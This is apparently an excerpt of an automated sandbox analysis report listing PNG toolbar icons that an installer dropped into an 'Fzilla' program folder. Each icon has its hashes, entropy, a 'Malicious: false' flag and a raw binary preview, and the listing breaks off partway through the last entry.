Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	7.800662260474723
Encrypted:	false
SSDEEP:	24:e/BpS+S4YVl9iKI/+spQxShfcm+u9Q4t/7RvuIkZEJdE/tvpuVGs1fc0I9DfY:e/Bp/EQT/+syIPZElv0VGk00Qg
MD5:	178717849AFEAA3CC9F6609E85599D3A
SHA1:	9720820E56F4BFFE73CAF41CC0AFBEB046E048BD
SHA-256:	C8A8DD1550497C1AF893F987FC4F7474FC786CD106F427BFEA45119585C05F26
SHA-512:	E16DD9EC10507264648ED297F18C9E7AC3E8042B00F782C1F112C16063CE888271C46637CFFCB7217582220572F49EAD5D59673872FDB273D3A60EE33101E908
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......4IDATx..C\|$Y.......^....b.......9....m..Ll'..:.....9........`Z.H`......P..T.S.Fh........u.{.......U..:..sh..)% .._.L....S.g...d.\_.[..m..@........!-:/.."V..k..t..V...HE+..........Q..q=(..dfz.@.yoR..j..dx<...j.JZ.+.....o..l...%E.UV.y..7..5@..6"#.Kj.7....x. .W.&...P...............7....L...p...o..Z=.....G.3.H/..V441...Dvz..m6.x.9..o...n......%......&seedX..L.." T_....m[..L.b.C...?<.Ma.k..,.._.0....).. .S...VEE...b...oe..>...i.g..........w.9..gp.X."3.qr.....Q.^...$.U+..^../#....%..F.....{@b\'.^.c.e.$%..H....x\|...7r.u 8%...........R......$.`..iP.-`u..R.=.<p....^D"S..\|.8..r.@...F.....l.`..K..V.;.<.......#.#`gh].d.S..!m..},8!'.G..~>.......E..f.C...gg.T`.#.....6...Hc.Y.d...l...!.:..+.]oS.g..^.0..B .+."....@DJ.M..`...........C.^..n..)..Y..3K......`.,.(M;B...d;. .AL~.b.....V....E...Z........7..X.]kXR....$.[Yho.S.6....(iE.8TF..H)...Iy9........o...n..`..2.....rs..:!0....!06...<..),...4.......q...t..WV@u]....Oyu..{.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	7.815257026603366
Encrypted:	false
SSDEEP:	24:I7JgCOz7VugLOfnx4+94D2J+vI+vzhf2FFCcX3NYn6OmsnobKKOyPGW0wX9Z9j23:I7JKVuoa9K0+vIKzhi9OeKKOMGW77h23
MD5:	07FDA58F24AF0B428458056D5720ECA9
SHA1:	1AEE091B27B0FD8B5C747F77560D60D4B986C93E
SHA-256:	5987428EFEC9E5B470A37DE7EA85F190C8C761EACC5C11B9A70F7D8FEC212E19
SHA-512:	D108CCB08B7CAD8C151FC38352BD9E07086135F93EAFB72D46F446956755DA5F54482E8A013A095EAA48EED5484BC5809D5C150552218189E2971B1A32C910B8
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..cx#k....m..NS.Iw.........V...m+u..9w..e1.[<O~....\|g...#...F@#....f...xGvj....F.e.S:.f..t..(.... ..U@.W@......(u..Z......./..!$.....p..-.&...z.....&.oi.F...H.b0.eA...p...{r?....P.............}W.+.m]:.-.<..<.o\|C.z.{<.5}..Wt...cS2 ...N..R.2xe..0.a}n...p..%P..?..6..I .....d..Y..+I..!......y`.......o..=Ii..4..+...T:...\.M..os./...../.N.k./]:..........mkN..=G..Q.=Q.B..E..+.U....d.=.+I....)......s......#...."+!.S..?hkQMm..=!\...OA....V..?U.B%..G...Ao...=#M..._..5.`...=..(.(@..)A....Y...FJ.G..(.(..mv.]<...6..q....h..&...........c.P.......G."P\IP.......v...P....-d%..t..%U..+....Y.R..3....4mD..2....LAf~..?P....G#@....b.Z....8D....H..RU\.V..-............Oc.-Qm:u.....ZLAs_.L .....'...).ME`qm5u........;..a.... :..q..\|.-:...n.... ............4tH.v.-..G..&@.....J...rXu.:.o<....(>.s.. }.a....{...^.}..`?...p.r#..r7.q.]....X".......CLA{..;...(.kO@....BC.P......XL..Y4Db..(.G..V8N<>(.....&9..q..G$...0

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4194
Entropy (8bit):	7.936067716270614
Encrypted:	false
SSDEEP:	96:I2wtG78rtCoBV2JPOqLbrCL8zadRWaKFUF6K/B5Iaz+8cQ+Jl:oGO5sLbU44PKCnB53z+FQ+Jl
MD5:	02B8F7AD4757D634DD02AD99C5FA51D7
SHA1:	F16D5A3E1E2F7C61EABF39F0C1F2512C9A9C4619
SHA-256:	225D7824698CFFCF5C909356AAB0E825A0B6B0C68CD839505EFD0E37440CB22E
SHA-512:	D8CF5F042719BA6485085D38CAC197A56F07AAE168BC74D18986A4578741EE4B50C06FA9B92CD215293D890317676ADD85EB80685C6EC10272ED6250E8EC771F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......)IDATx....p.W...s.{F,...0......{.3.{.,y).......N.Q.lE8..L...~]].../d.Wu<..../...QU.?..........z.."r.9w.s.....%!w#R@.Z@..]v.vc......W...c.....5.._....1&)..@!TTu.......V`..1.....N..n..f/\|../<...........,...B.T/..`.>'M....Ic.}.w.`+p..O.A.....i..6..Q.......y....Rk=...7.N>... t1...N.=.....u..>..+O....^...."O......O=.....G39.M._..K...I.<M..$..D=....M.[Z.VQ..[m..MR.....B2.....XY.[^..^`.#....?c9..;..j\S...r.{.g.\...D}.........bBM...\f..)...fY...:G...i....t\...p..j......a . .{=X\|~a!b.c`s.....d.....I.rH.P...6.%..\|..X#...,.w...U-.YG...l,..1....o.I.G#\|.k/}.1...N.1kG......sg...-D.;..r....`.x....C.I...G.70.p..j!..'....g.9..Hs...h5.^q.a.$..j....PSH.... ....{\|c.ST,..?2.....\|T./.....B....f.u.7."../.&Y.z....9..~L...~..v\....!.=.Y.s..X..g.i.)g=M....Q.% .$...@D.'<q....X.!.og.....3..................i.....j!......}a ".q.}..$N...dY....9.+..z.....H.j.le#..^. ..Q....q.B)...k.........<.........i[O}$.......D..U'.....D.i@h...Q..P..'

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3098
Entropy (8bit):	7.902323935241318
Encrypted:	false
SSDEEP:	96:lN3uFsx/S/HmmKuQZT9VkwpO1yJz8K9DHTN:lN3uFsA/HmmFwpO1YzhHTN
MD5:	1BF26B8AE1745420322A8F53602CDE98
SHA1:	D4C9F5125F278C38FC2BFA8962BA09A9742E303D
SHA-256:	FD48956A0EC43D12B3E6672F551D64DD0C1A50661B3C942AE2C92F1C4CFDFDE4
SHA-512:	6ACA700A0AAAF5DE2747C6B71C1153D5D57B5720606D4B65E849D70F308B65CF751088FEA23D5A17626034F171BA8A419D041AEAB644CD84FE70EFAFB2A42489
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..uXb[.........M...n..8....y%...7cO...(...#.W..>.....A.....e..S...{..........^<...\oJ..b....a.X..H$ ..@..CHH.0.....a.g<<<.%.92.............y..............1........e..Q.../;.U.J......qZ.PVQ...{A.}.D....\|..e.`.@.<U.m...hj...p.D..=\..].!9{7..r !c..v..1@...:.v3....V.D..cUp.Q..O...c ;p..w.k"i.!......'N.a......lll,.3^..a..@.!Bx..pd...<....0.....u..v.O"vG..l.........a.......0.5.>@...3.5.?g).....p.`.$.......0.g.'..j.....`0V Y..i....\..,@..D...m.....Iw.WB....`.W(l...^..l]E....,]J.QD..3CGH..I.#...Y].......D....z0.........o.-.....d~....Mc.R[\|3. (+..3...t.....A.v..+...d......!..=..y..7F.?sb.}..Q..N.."e....h...@6..x0.t..G6.E.....hggw3....&....\.....C...i{......rp.I`KXl.N.u.1..G...".....N\|.\|.l5..n._..zs...@.k..0.%.!...[]..........".`...`.!........Ph.a_.2.9.\|p...8'..........b...,..F.&.{n.C.1WB.......n...a.Y0.....?.V.(.X<..[\..f-..\.m.k :..r...a....p..2[..?...C.........s...f...*3..Gj...{n..os..6..}.I.T.........;...

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2853
Entropy (8bit):	7.916303130465067
Encrypted:	false
SSDEEP:	48:xaovtLzk0yHo3S8Z1wjdgGmyMUZB8U35jvwBIApIWzYx+e5jNY8FVnKeW:xaovtLzk0v3LZygG/dZ+UvKmIDe5jNJm
MD5:	CB903BCAA781B39524043E771629B1CC
SHA1:	DCFF8ED0421C98818098263464C9DF32091E1F3A
SHA-256:	6072651A62E89333C4F9C8135E9DEBD5E9F4BF8492964C1C9B85239C2DAA1561
SHA-512:	ED348867899B5CD0C793E2415E6D3CC650F0B68002FFFA22EC9DF1C0D587AE65336A5674B5C9E8A10FD141E2AE5A7FA9B55A9FE24835065FBB8AF1124FF17943
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..X.x.}.}..m.om.m.q5$).T.Km.}m.^g......s..yn..9......:.....3...i.....G.R.~5O...<m..U..j.l..uj...dg.g..d.M...E..1...`.\...z.H..t....U.4IB......>uo.....u....N...[......)96,\|..7..\|.......G.......Z.....}^uY.k....TF5..`_e....(....H...t.{lZ......2.y.....D.\.....J`.Wi..Z.X..-.Fb..Z.T\|P...j.........m....?.".kg.F..B.{..}$B.;9pWY.h.t.u..}.w8...J.!y...........Q...a".bf&..e..BGR...}..X$.."...t.}.E.....Cq...&..@...B........n.R...zaR.F......+..G..:AoW...2?f.#...s.B4.)\|Z...U...4.JZ.B....u...6X5..?.O...S.w..#...u...+.M.%.TMA<..<..`]=.#....s...Tv...jG.X..._Y....z."5Z.<.Y..&D ..#.6..q...$.x.....o.9.x..?...Y....f6..n.2~".)...x.......1....<Ci.D.V<.....o.Ck...\|.L$..`.Z...X........ej....!../.u.i......@..+..N.._..Ap.6...0O.....v...\|...NE@}....^.. r&..BzE.l\|.. .K...37.R......1../..S[.B.C.x.H.#@#..b.....@....w.^.9."..........x....4G.......cD..JO.i&tP..a]5...,\|..,..YXenl.z...WYrm.s..\|....c`...x...h>....J....lg.)*...

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2529
Entropy (8bit):	7.918490184742482
Encrypted:	false
SSDEEP:	48:XWurA7yJJ+6hnQ2cyLqOD1AiUEHxRRIDfJftIZLlO9JflNM7rtS0ass:XWu07yJJPhnIa5D1A8iftIZZO3WrtSP1
MD5:	785F5D73E9E92E8206AEB170BEDC0AB1
SHA1:	6246414D02BDADF41D1958DB519C1BE7D449FBDF
SHA-256:	49FD712F53751F8B0F124CB5B83C0EA48E2E279EB4B544CDA01ECCA03686AF09
SHA-512:	2AEFB302B947AD69E47DAEBA2878445F05D6177335D382A1A9B89A81DBE4B52464B4072E274F21633DC35203E1F4FCF49BF205B0C98A505F6335C505F7B264BC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y.T....wwww.\|.........Qt.gHp...fqwg..5.$H..._=..b..y1..n.[.nU....s.Qkc~...t.].?..<X.....2....+....".3.....Z.-.[.U./BF.......y'.x..3.oIWqF...O....1.YH...x/........'.t....i.O.......\..4O.........E\|...u.<..!y..O.l2....m`-.....R:....P..^R......\..vF\|..........q..\x....EX.,.....6.......88.<..-../..3.......@....R...V.zK#h...+s..[..S..o...'.:...F.~. {.-."4...-...U..P..i}..5.....2.q....&..s...S.G... .`..a..rXgn..I. d....fP..n)e.....l....)....8......#}.{J`i.}.9..t.}D.eaY..:..../....(..&R.....?C'2....C..u(.JT....a...v&t..1.....Y.,...M.~..O)9.^..9Q.....x..X.@..P..2/...ux.,.<.........}y#.g.......6.y..O.t=K.7?......(.....J..... ...e..P..).. .....\Pq.?..Z.?............O..o...?..8,.(.%..jc.l..H&..T...e.<..$..l.6.6....>.d.....RSgr...kc+@.Y.)t..U.2.....V..R:..X..0..b#eX.......X...cS.B...T.........BK.1...fX......4Aj.c.*.xR-.u.W.Z.J...X..o...'.3......Asi.$.k".&..#. f)Y.=.o.Em.....U......0.Yg..I...gOCv...5..<...g...

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.901591130843325
Encrypted:	false
SSDEEP:	48:WKFiWzAR1CHj978lUcmgY2XaBxIFMe5quvVGxdJZF:vfzAY9gpgIqeIuvVGxdJZF
MD5:	65EB2BB0526D972D020B025D5D34A386
SHA1:	F60414789F8A919C9F9E58D45A70CD56C3CCE73B
SHA-256:	019B044CADAC109696C2C21F742125406039E27FDE582156CDCBE54C0F0C964D
SHA-512:	15BE3C9982CE18A47FEA85D1CB7204CCE9954F11E8ACCB47C8139D3F2BE4606439B49A78CDC110DA10097B8F151DCA9C6CEC17BE40F5DFD3BBA03A966CFB699C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......0IDATx....dI....<...=X.Y.o.m..]...m........k."...6..x....\|?a.eo.9._..c........9..}(B.I..Epo.7...?...0G......f.7..~{6u.(........G..4jS..:..n+.m.Qv.......yN.x..}..Y...4.....CXv..(f/.,... JX7..<...X..R......?...x.?.....O^.xV.....~G..`.d.....Q.I..R....q.....v......G...\|... .>u...F...........R....y.).I..$..bp.........{..NE,9.....[...%..n.....U+.t.Y......M\..[63.h..c.A.V+.p....lBl...?..0.i..>r.G.y5p.>Pi../.-...{?.S.V...:.S.6?s.A..G1FN1x.C...RJ..t...K..&.7..c._0K8.\|..yf.t....b.o.xbS.?:. L....d..S........YZ.yR.u.....2.".U....R..5..Z...I..7...!.N.;.+.S_{X,r.i.Y.0'..=l..X,Z[2...`.,S..4j...k...u.T..../.`.9.-U...cm.....X...6..#.e...h..q.....O\|.^<o......G .bZ..u...'..S..{..i.... .~*Y.p...j=...jt.6.@...A.-`.E+%p.B.......#.F/.......&....~.r..'H.:B9O._[...........az..%q..s.<..U.r%.....h.r..fe...d.....-6p..'.wQ..Cbs......;.:..fsdc.......p..0..:..<r.K...(%....K..Xr...$...."....l....#.O[c....x..RI9t..y.k......~.r..R(P.y....S

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1104
Entropy (8bit):	7.7511874951879065
Encrypted:	false
SSDEEP:	24:3pxJIBlF6YAY9vcBsHLX7c0qOqPY8Vb9joh2CsDzYIynUmlW76rXvIz:3pbUFwBsrX5BqPruhgDzNyUmYz
MD5:	76E98F56F5327E70852A7D5765D9B1DE
SHA1:	532045611207D80572F77657788A65E41342AA03
SHA-256:	A450278FF8D5DB0EB5A705E9DB979CF6C76E4103ED561B35778B6BD5D6D04574
SHA-512:	2920B840AE52E5BE33FADE1646D00A7351BED30AA9FABA3002091E868D84FADC3D795B609F61BD862C19FBC76201667FEE96A887B95B26BCF11597DD7AEA4623
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....%G.... .m.m.(.....Q..m..7o.o..O.k.tj......E....V.....]w.&..L....g.f..T.a..}_.\..W.z...C..[.....B.p0..(I..HP)Q..1.....X..D.x.UEX....wPa....g....3.t.6\.].....o.6..>.....C....'/=.......c&N..c 0t}_....w.}dA....W.8...<.3.......].g.}.1.n......".....u.6......{...........nG.z(.Ak.6.; .",G.8a(..a.5....=....".)..xK...!.O.5..Q..B....Y.<.0.)@(b`.AZ.EE.B..."-....s.......E.)!(..% .d...0.m.4..g.q.,..V...u..^{..@..&"..@c.....O8.j.M.......d.Q$6..p....v..Y.U...[...AZ...`z......DZ.v.$pk..I.....!.T..yp.'k=.....z..cilr7X}.+...~..;t...;.6..{....u.[.....6..v3.J.Z(.C....3...._.N.U.^.....k.....}.n.....\|...fz... ..F..o..(.(0.b.D`.."4".s..{...f.B.;r\eT...}....t`.X..q%.c..y..+......f."..I...L...ZE...S..5J..`....p.(..L.b@...;>....2V...^..H.).bU....B.0....f.k....R.L.4...@.......Z.z.v..@.C....1.G.p.........\u.\|..\|.x...v...t......V.q.....,...._m{.....?....$U..F.(........:...qV......$m..M.u Xe;..V.......)c

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2340
Entropy (8bit):	7.866140824505384
Encrypted:	false
SSDEEP:	48:vhJ1g+b8Sb8pMZnyO4bzjIbQ7QraBAxMT23lXvYy8LFlOwR2FUWFMAW1Zi:Bgm8Sb8eZyjjIoQuBGMiVgLrWFMAqc
MD5:	6F6A4F0371895B25975608FD5C57C44B
SHA1:	FDDF5127F84D06D9690073427B533F1AFD390650
SHA-256:	D774BA8CE3FFE911DC9A3C235B58B73199DA930D3C7E72664F6C3C4462BD455C
SHA-512:	4AA31D91AA39EBF434B51B1C484D46A226615A8534A2E3323FBA1D3CC986DD981C28A2DC234EE4EF0683F32FD9274A1F79108B9071701C13B6865ABA708EDA7C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..sx$k...m...6.6c.5.2.^.;6c...I....{..j+........>.W_U.5Dt]........PVV...:y....).m..6!!....YYYYTRRB....t.RU8..P..k.`e..~..n.Y.\|9-Z...........;p..'...d.a..t).....t..v.5....v..._...V....K.%..1.2...gY....U.}...V$....'Y.V.j..."z....j...i.T..g.BA..my.k./t8........(.U.Xg3F.......S.k9.x...A~..6.3.....X_h.X^...\.....s.O.0..Z..r.^'..2.F\|.M~....X7..........t&...[.lyn..<..o......C-)....eh@.?yyy......l.2...Q...r.....f....l......M.J...?.>.3.@..h...\P.EDDh......8~0..t...y..~.j=.(..o............U....`..U+....\|.:....3..o.m..{.~....w............~4...[...;w~.5.n....C..........HJJ."~.0.i....."\|..0^..@...!.(...AM&.Z+-.`F6......}...t.......-~mM."2o.. .z..###)--M.v.N......2.x\<J...G[.n..j......T....p..Z....g..N...8NeXX. ..'...................R]UU..W..M.%1@..C..6...`p.;....s.........d..+....M..E..2:@....J.\.@...{..w=C.m.....r3y.kU.Qx?..\U....M..5.y.Ju..X%)<<..Ng.={R.....w......C?@e....m.v..TR........]X..h._.X

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2527
Entropy (8bit):	7.8712405818582045
Encrypted:	false
SSDEEP:	48:OFzDSHCuzyW7CEC92cZHY3OvJ4JCoh0Q3dMrSM1wLjmJ:MiHAX9VZ4Z70Q3urPwmJ
MD5:	A556BA848F4C875F1DA4DE20BE1C9C82
SHA1:	E61F1D64BF25F1212A7ED6247D8DD68744D360E5
SHA-256:	DE598608E5ECC148A61434267BC9A08C2FF36DD24AE64D0D1FE895F4147DFF3A
SHA-512:	4E50915ADD55CB0957E9943B9AC65C5B29B8754F896EBA2E01A767D60DEB9D2BD389CC2F2E6F4807CC00B2DF8F3D6711ACB91D59C2D05D42063FE34C7ED3881D
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..uT[K..y_...+Z..S...Zu.nP$....k($....{.....IB(r...)$....?...9gf.f...."j...3........rmr..vH.q...W...3./...R.WRBw..9.)...........]..8;......6...<...o...C'...WW.&....3....8.-.........&Mps.q.....C..-.........Z.i..JR))#......h/..:.F.P.7.H..p....#/...I!.2.-....z.....i.\|....f.v.;B{.:.Q0......St..%.....rzX^F....Ai)..6..I.\g...:.t...!A..w...3)1+C'.8... S3........?..:.`\..1.....8....F%..-t..-...81;]'.......d..vuu.W.-.r.&.?^.`..lK7..bm...r!I/.......7....h.}Z.....`..].kW.....@..8...........W....`\|.....~\B..d.. z6.=z..eg.....?...{..P.N.0......Y....C}.,.....ef<.....l=._o.8%W7..<........z.H..Q..,...9.....@.....8?....&.~....$...b.%u.s.N..@~....G..m...@Bfz=.....\|.....o.G........../X<...g.8..y......s<...%..<...\|.J.I.....T.)..."..^... }Ea......6..:v.3.(,H.(pMj.}.u..&-K..9bx.....Z...+,N..........m......W.-)W.>.FeH#...ly..u.WM.71...]Ja.P.N<......v...FUc...n\k.k[v-p[?j..,.=..6v.eW1y..2....)'/.T.7..f.c..r...QB.M_....:I...

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1984
Entropy (8bit):	7.8942562110046754
Encrypted:	false
SSDEEP:	24:XehTCSTHemCvYHwkjQmujOklGvcEtq53g7y4xaoSkIuu8/1XsFovy2sa9zikmwk:0x+1J+Q5SklCcEtq671aok989m698
MD5:	0DDD43DDF579002F9163888176D02CD2
SHA1:	AF8C2449274CA458AC12DB3C292E2D16486C0C85
SHA-256:	1D1E8B9203A09D2BFEA82D68CB28C5092C602872DD08F470B2EB1D15B0B4AE2D
SHA-512:	5EEB9763752B3F9629449150EADD735A55089B646EC64B3191F4708824AAAF729C0E3EE394B025B29CBF6E4BB0A28DBA270E4845D65AC6766CCBCDABED13CDE9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...T.i..?.....G....um...#L0A/H...M..nww7.....s.....`..z.~.e~.(..2...M..H..'...U..O..C...@..s.?/.\..MwA...4.....=o.7...:mOQ............\A..O..<.`....&..G.)DO.'L....%...m.^..,B._.,.......G../...B.^....5eZ..Z}...u......j.QN............(F.+..Q..:..ul..G_..g.....jq......'....n}..3o`..,;\|.bj..\..f.Q._...`.N-.H....j....oMC.V$../...$...d..3./\|..v.........c.c...r....4....<TTTj...c.....).2dvT...u.-..._...y.{D.{..[n.>.b..M:..j...=TT`2@.s.\v....n!.:>.b..ZEr.8../.........W1.....z7..[....D.b.A......z...ZN.Z:..c.Tg\~.E.V...5..}.Z..6i..p].................;\|.......2l[?g.b....ik.......q...QFV?.ZZ..m.NI=i..s..[.P.:.?...;..m.%X'..M.....!=Y.....N........,..S...l._....O?D....;..U.....+.'....u3+.Y.LW7...?.M..>...d..{........`.t.../...6.......B...A....j\.../.}.....~..\.......k..C..zz.7i....f(IZ...M.3.~..mL..Q....;."./....o.".)...z...'.H.R.C..X..b:K......:V.E._...v...W$.f.J.S.a.8xY...Z.MR....X....s_.E.)9S.r.?V.....u.%

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\symlink.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	242
Entropy (8bit):	6.739093803352361
Encrypted:	false
SSDEEP:	6:6v/lhPmj8cSKxqMGU2IgcLFcndvfqlXNw4IlPlmSQmMUMlVp:6v/7O8M2U2kF6feXPINcsM1
MD5:	205E3AF9DD4D57B8C20A2C64C76858ED
SHA1:	2EFFA06F1971D5AC5561FD30150F8D00BFFAD981
SHA-256:	F8AC90F8CE2F520A1FDE4660652AE9BBAAF3FD2BD5688120C3D23196C65DB6CA
SHA-512:	71E9C0B3CA82A297506C64222CC1EFE15401F909D464592F5107CB6032A858428448525415BE36BE2BF3A365297E93EFA4B4B1D46AB987B07431F3296A1C8AC7
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx...1..@.Fa..9.&.E...&.P.....i.)..`#.....<...E.2#.3...."....`....`....\..{.....H.....M....\...:&.....$P...TJO4...$...$...Xs....^....M....Q......KO.g.cN.~g.T...X.t>.G..R...?.7.......:....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1915
Entropy (8bit):	7.8644908150916795
Encrypted:	false
SSDEEP:	48:YjMC3vrpS6jngDNJ0ycHkmQ1VW+WVXkHqc:iMiS4gRNOkXD+0HP
MD5:	E0B07495846284FD7B641BDF4BF2B589
SHA1:	658CC83A8F5911F71583F90569E7F1D052BCF9CC
SHA-256:	963FBC54B22B6BF45F6815699DC3309F101A80AA6F5A309DDDBB6E0B652BFC98
SHA-512:	41B775CDFA0E33EB2882FF7929A846D10D5336C0EB99552B29BAF33F8208E2A97A68583D9D89426BB67593F2F878B1F1613D794639F1B919CE4CB0DA590814AE
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......BIDATx..Y..$]..m.mcm.6...m.l.m...t...lw........{.Y/....."r_........E.D.D...?.............N....>...{%B......`........8.......S.\|}.Scb....Inn...t.];...r..Y9}....C..Z%;{......}.....w..3.......b...VN.<!.. .....-....O...}.u...c.,^..'s.....w.....7.....V2.....I__...TKUU.A.s..R..\|..+..........+,,..9rXZ[[....\@@.d4.1.>>^........}........H.OOw....cw.@...z...Juu.$`k...S%22B...t..>......'].=u..v.w.@hh...2...w..)...x! ooO..}....1WW.-0\|....F//..9...u....^...q.o...8q.U.F$.!!.y.......d..S..2.FWVV....Z.u.U. ..........<..Pdd..9(.y855.y..f{{[.&cxs.......c.......KaD_..\...kI.....t....5...................2.....)W.\A..{.hkk..)..7o.RYY......G...ep) ..a__.._..~..x...innRI..n....7.........78z....K2d..w.....R..o......Sd....4........h.!.F..'.y.y.'.5.......c.E.......:tPz{{f{ [/.Wg.......6+0...f.......z.A-...9.k.6....E.~.3Qz.J9s.4.*....C.!{Y..;.v3f.....jsII1Z.".z.Y.l..y.&..~......H?....l..v..f..g...{.<x@+.,...nc.1YQ.z1.t-.....

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	7.880273035206474
Encrypted:	false
SSDEEP:	48:JE5HzrraFnBBEW2+590s7nF1vf5yUDOabjERAvEA:JEVzrraBBOWz0QHvf56aHWAvEA
MD5:	020C44F480B87CE1F3EA678741B65539
SHA1:	EAE27329F6898C8EFAE13183F7A3F6B4DD814168
SHA-256:	31CB3F50B32D107ED709E227D4983897E9C4A9EC0BF6C30DEFCB3C4C32125C47
SHA-512:	199928D5D691219CF04232049DAC460A4C89DFF43B7481AD0739B3C542CD2499386ECF923B138F5465582732189BEC0081EF23FC499F8FAD545957ECB3C194F4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......xIDATx..X.p...U..[Kw2..l..$.(.fv.!.r"S.......gf4;..+w..6.......o.}.}R.`..W....p.+\!..j..&ebx....(.....S...Gw..?.Tw{V.7he.1...Y..U..^.....+.._.......$..{....R..v."y.O.d.....[:.8M..:.V...Y...:..........Y;....X.x...v.....Y.p..X.:.Uh.......6..~.b.x.t.....\|a>..eo......<Y....6c....O.xK0Rf{7&9....J.q..K.._}.y....dUM.\...z:..>...<...6`....\.\.@_'........Q...f.`7...=.L.3s.3...T....x$l..b..\|,.V.U/.....v.;..>.../....8...lx.Y..C.D.....5.-ZY.\|&.3p./.....J....C.i..@...@../.-sG.b.)..H...........1..B...p.......Ml.j.\|.:p.L...o.W.}G..'..l$.iI...R.'...}.`....4_........P@..52Wy.....?..Hr...Q.!..*.xj2a..8.Gj.......H...{V.M9+..?/A>......2......u.Tr................r......!6.L.....`...S._km......8uC.............#...R..........:....(....`;...;........L....V.....Mh.4..\|_...:....b.:,.:.C6. c.'R.. .9.!..<...........a:....8. .i..?.`{.xwjLr...i.$U....}o.O...7.N.W.7a..#...X.."i^ ..Zu?...s...E...![}1.P(......H....K?.v..R.W..H++s

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2536
Entropy (8bit):	7.893504377549183
Encrypted:	false
SSDEEP:	48:k8Y7pp1+CXT9H7DTnVUJ4aIDXlDwY2QSXpp5m2Tq8tdBGeoYmHUn964FHX:kNBLJVUurDl0YFSZjX+8VGelQg64p
MD5:	83A1907B8C025A93348079A25EB689C2
SHA1:	20BB4E5F58B6A0B37CBFC453319289FB70FF0F6B
